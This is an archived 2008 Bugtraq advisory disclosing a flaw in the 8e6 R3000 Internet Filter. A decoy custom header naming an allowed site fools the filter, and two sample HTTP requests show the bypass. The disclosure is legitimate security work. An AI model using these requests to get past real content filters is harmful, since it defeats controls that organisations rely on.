bugtraq - 8e6 Technologies R3000 Internet Filter Bypass with Host Decoy

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 5 Aug 2008 01:19:46 -0600
From: nnposter@...closed.not
To: bugtraq@...urityfocus.com
Subject: 8e6 Technologies R3000 Internet Filter Bypass with Host Decoy

8e6 Technologies R3000 Internet Filter Bypass with Host Decoy

Product:

8e6 Technologies R3000 Internet Filter
http://www.8e6.com/network-security/internet-filtering/internet-filtering.html

The HTTP URL filtering function provided by the 8e6 Technologies R3000 Internet Filter contains a vulnerability in that it can mistake a properly formed custom header for the Host header. This can be exploited for bypassing the filter by providing an allowed site in the custom header.

Examples:

  GET / HTTP/1.0
  X-DecoyHost: www.allowed.org
  Host: www.blocked.org

  GET / HTTP/1.0
  X-Decoy: Host: www.allowed.org
  Host: www.blocked.org

This weakness cannot be leveraged for circumventing blocks based on IP addresses (as opposed to DNS names).

The vulnerability has been identified in version 2.0.12.10. However, other versions may be also affected.

Solution:
None

Found by:
nnposter